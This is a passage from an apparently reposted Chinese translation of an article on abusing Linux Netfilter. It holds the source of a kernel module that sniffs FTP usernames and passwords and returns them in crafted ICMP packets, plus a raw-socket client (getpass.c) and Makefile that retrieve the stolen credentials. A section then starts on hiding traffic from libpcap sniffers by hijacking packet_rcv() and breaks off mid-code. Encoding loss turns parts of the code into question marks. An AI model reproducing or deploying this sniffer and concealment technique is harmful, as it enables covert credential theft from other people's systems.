sb->pkt_type = PACKET_OUTGOING;
switch (sb->dev->type) { case ARPHRD_PPP: ? ? ? ? ? ? ? break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: { unsigned char t_hwaddr[ETH_ALEN]; sb->data = (unsigned char *)sb->mac.ethernet; sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet); memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN); memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source), ETH_ALEN); memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN); break; } };
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); if (username) memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16); dev_queue_xmit(sb);
kfree(username); kfree(password); username = password = NULL; have_pair = 0; target_port = target_ip = 0;
// ? printk("Password retrieved\n"); return NF_STOLEN; }
int init_module() { pre_hook.hook ? ? = watch_in; pre_hook.pf ? ? ? = PF_INET; pre_hook.priority = NF_IP_PRI_FIRST; pre_hook.hooknum ?= NF_IP_PRE_ROUTING; post_hook.hook ? ? = watch_out; post_hook.pf ? ? ? = PF_INET; post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum ?= NF_IP_POST_ROUTING; nf_register_hook(&pre_hook); nf_register_hook(&post_hook); return 0; }
void cleanup_module() { nf_unregister_hook(&post_hook); nf_unregister_hook(&pre_hook); if (password) kfree(password); if (username) kfree(username); } <-->
------[ 5.2.2 - 源代碼 : getpass.c
<++> nfsniff/getpass.c
#include? #include? #include? #include? #include? #include? #include? #include? #include?
#ifndef __USE_BSD # define __USE_BSD ? ? ? ? ? ? ? #endif # include? #include?
static unsigned short checksum(int numwords, unsigned short *buff);
int main(int argc, char *argv[]) { unsigned char dgram[256]; ? ? ? ? ? unsigned char recvbuff[256]; struct ip *iphead = (struct ip *)dgram; struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip)); struct sockaddr_in src; struct sockaddr_in addr; struct in_addr my_addr; struct in_addr serv_addr; socklen_t src_addr_size = sizeof(struct sockaddr_in); int icmp_sock = 0; int one = 1; int *ptr_one = &one; if (argc < 3) { fprintf(stderr, "Usage: ?%s remoteIP myIP\n", argv[0]); exit(1); }
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { fprintf(stderr, "Couldn‘t open raw socket! %s\n", strerror(errno)); exit(1); }
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) { close(icmp_sock); fprintf(stderr, "Couldn‘t set HDRINCL option! %s\n", strerror(errno)); exit(1); } addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(argv[1]); my_addr.s_addr = inet_addr(argv[2]); memset(dgram, 0x00, 256); memset(recvbuff, 0x00, 256); iphead->ip_hl ?= 5; iphead->ip_v ? = 4; iphead->ip_tos = 0; iphead->ip_len = 84; iphead->ip_id ?= (unsigned short)rand(); iphead->ip_off = 0; iphead->ip_ttl = 128; iphead->ip_p ? = IPPROTO_ICMP; iphead->ip_sum = 0; iphead->ip_src = my_addr; iphead->ip_dst = addr.sin_addr; icmphead->icmp_type = ICMP_ECHO; icmphead->icmp_code = 0x5B; icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead); fprintf(stdout, "Sending request...\n"); if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno)); return 0; }
fprintf(stdout, "Waiting for reply...\n"); if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) { fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno)); close(icmp_sock); exit(1); } iphead = (struct ip *)recvbuff; icmphead = (struct icmp *)(recvbuff + sizeof(struct ip)); memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr)); fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr)); fprintf(stdout, "Username: ? ?%s\n", (char *)((char *)icmphead + 12)); fprintf(stdout, "Password: ? ?%s\n", (char *)((char *)icmphead + 28)); close(icmp_sock); return 0; }
static unsigned short checksum(int numwords, unsigned short *buff) { unsigned long sum; for(sum = 0;numwords > 0;numwords--) sum += *buff++; ? sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); return ~sum; } <-->
** 譯注:上述兩個文件的Makefile:
<++> nfsniff/Makefile #Makefile ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? # ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? CFLAGS=-Wall ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? LIBS=-L/usr/lib -lc # Change include directory for your kernel ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include? MODULE_CFLAGS+=$(CFLAGS) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? EXECUTE_CFLAGS=-ggdb ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? EXECUTE_CFLAGS+=$(CFLAGS) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? all : nfsniff.o getpass ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? nfsniff.o : nfsniff.c ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS) ld -r -o nfsniff.o nfsniff~.o $(LIBS) ? ? ? ? ? getpass.o : getpass.c ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? gcc -c getpass.c $(EXECUTE_CFLAGS) ? ? ? ? ? ?? getpass : getpass.o ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? gcc -o getpass getpass.o $(EXECUTE_CFLAGS) ? ?? clean : ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? rm -f *.o getpass ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? <-->
**譯注完
--[ 6 - 在Libpcap中隱藏網絡通信
這一節簡短的描述,如何在修改Linux的內核,使與匹配預先定義的條件的網絡通信對運行于本機的數據包嗅探工具不可見。列在本文最后的是可以正常運行的代碼,它實現了隱藏所有來自或者是去往指定的IP地址的數據包的功能。好了,讓我們開始... ----[ 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap
對系統管理員來說,最有用的軟件莫過于哪些在廣義分類下被稱為“數據包嗅探器”的軟件了。兩個最典型的通用數據包嗅探器是 tcpdump(1)以及ethereal(1)。這兩個軟件都利用了Libpcap庫(隨著參考文獻[1]中的tcpdump發布)來抓取原始數據包。 網絡入侵檢測系統(NIDS)也利用了Libpcap庫。SNORT需要Libpcap,Libnids??一個提供IP重組和TCP流跟蹤的NIDS開 發庫(參見參考文獻[2]),也是如此。 在Linux系統下,Libpcap庫使用SOCK_PACKET接口。Packet套接字是一種特殊的套接字,它可以用于發生和接收鏈路層 的原始數據包。關于Paket套接字有很多話題,但是由于本節討論的是關于如何隱藏它們而不是如何利用它們,感興趣的讀者可以直接去看packet(7) 手冊頁。對于本文中的討論,只需要理解packet套接字被Libpcap應用程序用于獲取進入或者離開本地主機的原始數據包。 當核心網絡堆棧收到一個數據包的時候,檢查該數據包是否是某個packet套接字感興趣的數據包。如果是,則將該數據遞交給那些對其感興趣的 套接字。如果不是,該數據包繼續它的旅程,進入TCP、UDP或者其它類型的套接字。對于SOCK_RAW類型的套接字同樣如此。原始套接字很類似于 packet套接字,只是原始套接字不提供鏈路層的包頭。一個利用原始套接字的實用程序的例子是我的SYNalert程序,參見參考文獻[3](請原諒我 在這兒插入的題外話 :)。 到此,你應該已經了解了Linux下的數據包嗅探軟件使用了Libpcap庫。Libpcap在Linux下利用packet套接字接口來獲 取包含鏈路層包頭的原始數據包。同時提到了原始套接字,它提供給用戶空間的應用程序獲取包含IP頭的數據包的方法。下一節將討論如何通過Linux核心模 塊來隱藏來自這些packet套接字以及原始套接字的網絡通信。 ------[ 6.2 給狼披上羊皮
當收到數據包并將其送到一個packet套接字時,packet_rcv()函數被調用。這個函數可以在net/packet /af_packet.c中找到,packet_rcv()負責使數據包經過所有應用于目的套接字的套接字過濾器,并最終將其遞交到用戶空間。為了隱藏來 自packet套接字的數據包,我們需要阻止所有特定數據包調用packet_rcv()函數。我們如何做到這一點?當然是優秀的ol式的函數劫持了。 函數劫持的基本操作是:如果我們知道一個內核函數,甚至是那些沒有被導出的函數,的入口地址,我們可以在使實際的代碼運行前將這個函數重定位 到其他的位置。為了達到這樣的目的,我們首先要從這個函數的開始,保存其原來的指令字節,然后將它們換成跳轉到我們的代碼處執行的絕對跳轉指令。例如以 i386匯編語言實現該操作如下: movl ?(address of our function), ?
總結
以上是生活随笔為你收集整理的Netfilter 详解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ubuntu不启动图形界面
- 下一篇: TCP三次握手连接及seq和ack号的正